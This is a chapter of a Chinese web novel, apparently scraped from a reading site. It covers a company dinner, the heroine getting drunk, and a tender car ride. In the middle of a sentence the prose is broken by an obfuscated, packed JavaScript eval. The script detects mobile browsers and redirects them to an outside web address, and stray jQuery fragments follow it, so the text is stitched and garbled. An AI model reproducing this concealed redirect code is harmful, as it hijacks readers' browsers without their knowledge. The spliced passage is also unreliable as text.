天地良心!
这是她过来以后,林景年跟她说的字数最多的一次话了吧,竟然还是质疑她的人品!
于向晚举手发誓:“违法犯罪的事咱可不干!”
林景年依旧死死盯着她,眼神就像是被逼到绝境准备鱼死网破的狼崽子,于向晚鸡皮疙瘩都起来了,如坐针毡。
“不是,你相信我啊,我怎么可能会害你呢?我疼你都来不及。”
伤害无辜小奶狗的事她可做不到。
也许是被她这脱口而出的肉麻的话恶心到了,林景年眉头紧紧皱着,终于移开了目光。
他声音变回淡淡的语调:“你拿回去吧,我不需要。”
“怎么不要?”于向晚纳闷了,怎么会有人不喜欢钱呢?
“嫌少是吗?我明天再叫于向阳给你转,你要多少?说个数吧。”
林景年不吭声,于向晚琢磨一会儿说:“要不这样吧,明天我把我哥叫过来,你揍他一顿行不行?让他给你当人肉沙包,我待会就去给你买两个拳击手套,再买一根绳子,把他绑起来吊在屋梁上用皮带抽,你觉得怎么样?”
林景年:“……”
他嘴角抽了抽,艰难地说出一句倒也不必。
于向晚笑了一声,果然不出她所料,这时候的林景年还没有黑化,心里还是善良的,不忍心去伤害别人。
“那你就乖乖把钱收下,以后啊你要是想创业呢,这就是启动资金,要是想躺平呢,我也能保你一辈子吃穿不愁。”
林景年侧头看她,很难相信这些话是从一个女魔头嘴里说出来的,看来十分有九点九分的可能,于向晚被夺舍了。
……
很快,车子开到了目的地餐厅,公司里的一群人都站在门口等她,哪有老板不先进去,员工先进去坐下的道理。
于向晚下车,笑着跟他们打招呼:“你们来得好早啊,我没迟到吧?”
“没有没有,还不到七点,是我们来得太早了。”
吴总监摆摆手,哪能把锅往老板身上甩,就算是她迟到了,他们也不敢有一句怨言。
说话间程言从大门里走出来,站到于向晚对面:“您来了,里面都准备好了,可以进去了。”
说完他目光偏移,看到于向晚身后坐在车里的人。
“好。”
于向晚回头,手抵住车门弯腰柔声道:“下来呀,他们都是我公司的员工,也不是外人,你不要害怕。”
身后众人同时倒吸凉气,又惊讶又疑惑,这世上还有让女魔头毕恭毕敬对待的人,到底是何方神圣?
所有人的目光不约而同地看向车内,林景年薄唇紧紧抿着,犹豫了几秒钟还是下了车。
看到是个瘦弱的男生,年龄左不过二十出头,他们纷纷猜测这人到底是什么身份。
林景年站到于向晚身侧,低着头眼睛盯着鞋尖。
看出他的局促,于向晚大方地拉着他的手,向其他人介绍:“这位是我的……好朋友,比较腼腆,今天带他出来和大家认识认识。”
吴总监打趣道:“你好呀帅哥。”
林景年不理人,于向晚接话:“你别打他主意啊。”
吴琼今年三十岁了,还没结婚,她是不婚主义,但身边的男朋友是换了一个又一个。
她觉得,男人只能看和用,不满意就换,没什么大不了的,要是指望着结婚依靠他们,蠢得要死。
她捂着嘴笑:“我哪敢呀。”
谁敢打女魔头身边的男人主意。
于向晚领着林景年径直往餐厅里走:“先进去吧,别在外面站着了。”
公司几个主要的负责人都来了,一群人十几个浩浩荡荡走了进去,程言定了最大的包间,菜单已经拟定了大概,他将平板递给于向晚:“您看一下还有什么菜想吃的。”
于向晚接过平板,第一眼就瞄向价格,果然是很有逼格的餐厅,每样菜的价格比她想象中要贵太多。
没敢细看,怕承受不住,不过还好原主有的是钱:“先上吧,不够再加。”
这顿饭气氛比想象中要轻松不少,设计总监和经理闲聊,聊到某个甲方,说他们很难缠,导致员工经常熬夜加班。
于向晚感同身受,加入了这个话题,怒骂有些领导不是人,怒骂某些甲方鸡蛋里挑骨头。
大家先是震惊于向晚怎么站在他们这一头,接着便混作一团,叽叽喳喳说个没完。
林景年一言不发,安静地吃着菜,于向晚一边和别人聊天,一边吃到了什么好吃的,也要用公筷给他夹块尝尝,像带着孩子去搂席的老妈。
吃完饭已经差不多十点了,大家都惊叹于向晚的改变,每个人心情都不错,开了几瓶红酒都喝光了。
于向晚其实也憋了很久,借着这次聚餐,光明正大地喝了几杯。
她脑袋晕乎乎的,还不忘记叫程言给每个喝酒的员工安排代驾或者网约车。
服务员看他们要结束了,拿着账单走过来:“您好小姐,请问怎么支付?”
“刷卡吧。”
于向晚大方地掏出卡递过去,然后就收到卡里被扣了二十五万元的信息,酒瞬间就醒了一半,她看向服务员不可置信地问:“没有刷错吗?”
服务员露出职业微笑:“不会有错的小姐,这里都有详细的账单,您可以看一下。”
于向晚咽了咽口水,什么玩意儿啊?一顿饭吃掉她两年的工资!
酒精作祟,她忘记了,现在已经不是以前的自己了,哀嚎着:“这是黑店,怎么这么贵!我的钱啊!”
好在屋里只剩林景年一个人,服务员尴尬地笑笑退出了包间。
林景年冷冷地看着发疯的女人,满脑子问号。
平时花钱一向大手大脚的人,怎么会心疼一顿饭钱呢?
还是因为这顿饭有他在,觉得被他吃掉浪费了。
林景年沉默不语,于向晚鬼哭狼嚎半天终于注意到了他。
她收了声,安静下来,坐在椅子上,盯着他看了半天,突然吹了个口哨:“哪来的小帅哥呀,离姐姐近一点,让姐姐好好看看。”
流氓!
林景年咬着牙,她肯定是喝醉了才会胡言乱语。
回想起以前,于向晚也醉酒过几次,一到家就发疯,不是用水将他身上泼湿,就是扯着他的头发扇脸。
这次又准备对他做什么呢?
“嘿嘿嘿~”
于向晚傻笑两声,红酒后劲大,她酒量不好,已经完全忘了自己的身份,只知道面前有个柔弱的小帅哥。
于向晚凑过去,表情十分猥琐,她伸出食指,挑起林景年的下巴,眯着眼看他。
林景年闭上眼,他已经做好了被打的准备,时间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700204|208132||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一分一秒流逝,预想中的巴掌迟迟没有落下。
他睁开眼,目光落在于向晚脸上。
精致的妆容为她容貌增添了几分艳丽,口红颜色很深,显得很凌厉,不过她的眼睛出卖了她,与以往不同,带了几分懵懂和无辜,还有一点色/眯/眯。
于向晚愣愣地看他,过了半晌,收回手指,去摸了摸林景年的脑袋,嘴里嘟囔着:“可怜的娃呀,以后姐姐宠你。”
她又想起来了一星半点。
林景年实际是比她小两岁的,但别看他年纪小,心理成熟度却比于向晚高很多。
都说穷人家的孩子早当家,其实是不被爱的孩子早长大。
说完这句话于向晚就趴在桌子上,一双好看的眼睛慢慢闭起来
“我先睡了,好困……”
白皙的小脸埋进手臂中,长睫颤动,时而皱眉,时而舒展。
林景年定了定神,甩开脑子里莫名其妙的想法。
他静静地看着,此刻眼前的人,与之前的女魔头,判若两人。
程言送完同事,折回来就看到于向晚趴在桌子上呼呼大睡,他看向林景年,猜测他就是于向晚口中那个没上大学的朋友,语气变得客气。
“司机已经在外面了,您还是和于小姐一起回去吗?”
看来他并不清楚林景年的情况,不知道他们住在一起。
林景年点了点头,站起身往外走。
他不打算管于向晚了,程言看这样子又觉得他们之间关系不太好,但也没多说什么,上去将于向晚扶起来,让他依靠在自己身上,慢慢往外挪去。
上了车,林景年也尽量靠边坐,仿佛要划清界限,离她越远越好。
于向晚已经晕过去了,靠着背椅做美梦呢。
程言向司机交代了两句,叫他到家了帮忙扶一下,然后关上车门离开。
老周开了几十年的车,什么样的老板都见过,现在他只希望于向晚不要在车里吐出来,不然明天还要去洗车,怪麻烦的。
行驶到一个路口,绿灯亮起,他缓缓松开刹车准备起步,没想到另一面盲区却突然窜出一个人,准备闯红灯冲过去。
老周急忙脚踩刹车,车头在距离那人十几厘米外停了下来。
他重重舒口气,还好没碰到。
下一秒,他想起来后面还坐着两个人呢,连忙回过头准备道歉,却看见本来坐在两边离得老远的两个人,不知什么时候肩并肩坐在了一起。
看到没什么事儿,闯红灯的那个人也心虚跑走,老周继续开车。
林景年表情很不自然,老周没看到,他自己十分清楚刚刚发生了什么。
突然的急刹车,他迅速用手臂抵住前座椅,才没撞上去,于向晚睡得沉,惯性让她猛地往前冲,眼看那张脸就要重重拍在前座椅上,林景年伸手挡住,给了一个缓冲。
然后他鬼使神差扶住她的肩膀,顺手捞回来,护在自己身旁。
林景年动了动胳膊,他的手还停留在于向晚腰上。
于向晚似乎找到了更舒服的睡姿,脑袋蹭了蹭,安心地继续睡。
林景年心跳得异常快,胸口微微的压迫感让他大气都不敢喘,掌心传来她的温度,盈盈细腰被他圈住一大半。
这下连他自己都说不清了,曾经讨厌到咬牙切齿的人,此刻在他怀里,睡得香甜。